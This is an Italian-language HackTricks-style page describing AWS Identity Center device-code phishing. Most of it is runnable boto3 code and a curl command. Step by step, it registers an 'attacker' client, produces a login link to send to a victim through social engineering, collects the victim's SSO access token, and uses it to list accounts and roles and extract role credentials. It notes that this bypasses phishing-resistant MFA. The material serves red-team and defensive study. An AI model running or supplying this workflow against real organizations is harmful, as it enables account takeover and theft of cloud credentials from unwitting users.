AWS - Identity Center & SSO Unauthenticated Enum

Support HackTricks

AWS Device Code Phishing

Inizialmente proposto in questo post del blog, è possibile inviare un link a un utente che utilizza AWS SSO che, se l'utente accetta, l'attaccante sarà in grado di ottenere un token per impersonare l'utente e accedere a tutti i ruoli a cui l'utente può accedere nel Identity Center.

Per eseguire questo attacco, i requisiti sono:

  • La vittima deve utilizzare Identity Center

  • L'attaccante deve conoscere il sottodominio utilizzato dalla vittima <victimsub>.awsapps.com/start

Solo con le informazioni precedenti, l'attaccante sarà in grado di inviare un link all'utente che, se accettato, concederà all'attaccante l'accesso all'account utente AWS.

Attacco

  1. Trovare il sottodominio

Il primo passo dell'attaccante è scoprire il sottodominio che l'azienda vittima sta utilizzando nel loro Identity Center. Questo può essere fatto tramite OSINT o indovinando + BF, poiché la maggior parte delle aziende utilizzerà il proprio nome o una variazione del proprio nome qui.

Con queste informazioni, è possibile ottenere la regione in cui è stato configurato l'Identity Center:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Genera il link per la vittima e invialo

Esegui il seguente codice per generare un link di accesso AWS SSO in modo che la vittima possa autenticarsi. Per la demo, esegui questo codice in una console Python e non uscire, poiché in seguito avrai bisogno di alcuni oggetti per ottenere il token:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Invia il link generato alla vittima utilizzando le tue fantastiche abilità di ingegneria sociale!

  1. Aspetta che la vittima lo accetti

Se la vittima era già loggata in AWS dovrà solo accettare di concedere i permessi, se non lo era, dovrà accedere e poi accettare di concedere i permessi. Questo è come appare il prompt al giorno d'oggi:

  1. Ottieni il token di accesso SSO

Se la vittima ha accettato il prompt, esegui questo codice per generare un token SSO impersonando l'utente:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Il token di accesso SSO è valido per 8h.

  1. Impersonare l'utente

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing l'MFA "unphishable"

È divertente sapere che il precedente attacco funziona anche se viene utilizzato un "MFA unphishable" (webAuth). Questo perché il workflow precedente non esce mai dal dominio OAuth utilizzato. A differenza di altri attacchi di phishing in cui l'utente deve sostituire il dominio di accesso, nel caso il workflow del codice dispositivo è preparato in modo che un codice sia conosciuto da un dispositivo e l'utente può accedere anche su una macchina diversa. Se accetta il prompt, il dispositivo, semplicemente conoscendo il codice iniziale, sarà in grado di recuperare le credenziali per l'utente.

Per ulteriori informazioni su questo controlla questo post.

Strumenti Automatici

Riferimenti

Support HackTricks

Last updated